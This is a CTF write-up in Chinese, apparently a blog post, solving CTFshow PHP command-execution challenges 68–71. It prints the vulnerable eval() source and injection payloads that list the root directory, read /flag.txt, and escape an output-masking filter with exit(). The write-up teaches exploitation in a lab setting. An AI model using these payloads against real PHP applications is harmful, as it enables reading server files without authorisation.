CTFshow web(php命令执行 68-71)

web68

还是那句话,没看到flag在哪,那就优先找到flag位置

这里c=var_dump(scandir("/"));

直接输出根目录的位置,然后查看源代码,发现flag位置为flag.txt

知道flag在根目录下面的flag.txt直接访问就好了

c=include('/flag.txt');

web69

payload:c=include('/flag.txt');

上题payload没有禁用,直接白嫖!

web70

payload:c=include('/flag.txt');

上题payload没有禁用,直接白嫖!

web71

首先拿到一串代码

复制代码
<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
    highlight_file(__FILE__);
}

?>

代码审计:

  • 使用 ob_get_contents()ob_end_clean() 函数获取并清除输出缓冲区中的内容。这是为了捕获执行命令后的结果,并将其传递给 preg_replace() 函数进行处理。

  • 使用 preg_replace("/[0-9]|[a-z]/i","?",$s) 将输出结果中的数字和小写字母替换为 ?,然后将结果进行输出。

ps:害怕小白不懂,解释下。缓冲区(Buffer)是计算机系统中的一块内存区域,用于临时存储数据。它可以在数据传输之间起到缓冲和调节作用,以提高数据传输的效率或解决传输速度不匹配的问题。

先把上题payload看看能不能白嫖啊

c=include('/flag.txt');

好小子,看来你是要上天啊!

根据代码审计结果,既然会把输出结果中的数字和小写字母替换为 ?

那不用缓冲区不就好了!

最后加一个exit();

c=include('/flag.txt');exit();

真诚希望我的文章能够帮助大家,谢谢!过年写下这篇文章总觉得还得加上一句:

祝愿大家龙年吉祥!

相关推荐
海上彼尚31 分钟前
Go之路 - 4.go的集合[完整版]
开发语言·后端·golang
阿海57433 分钟前
安装php7.4.33的shell脚本
php·shell
coding随想37 分钟前
JavaScript Notifications API:告别alert弹窗,开启沉浸式用户体验革命!
开发语言·javascript·ux
阿海57437 分钟前
卸载php的shell脚本
开发语言·php
码界奇点1 小时前
基于Python与GitHub Actions的正方教务成绩自动推送系统设计与实现
开发语言·python·车载系统·自动化·毕业设计·github·源代码管理
JienDa1 小时前
JienDa聊PHP:从Laravel到ThinkPHP的现代Web开发实践
前端·php·laravel
kaikaile19951 小时前
MATLAB计算卫星星下点轨迹
开发语言·算法·matlab
二狗哈1 小时前
Cesium快速入门15:图元Primitive创建图像物体
开发语言·javascript·3d·webgl·cesium·地图可视化
lljss20202 小时前
C# 定时器类实现1s定时器更新UI
开发语言·c#
白杨攻城狮2 小时前
C# 关于 barierr 心得
开发语言·c#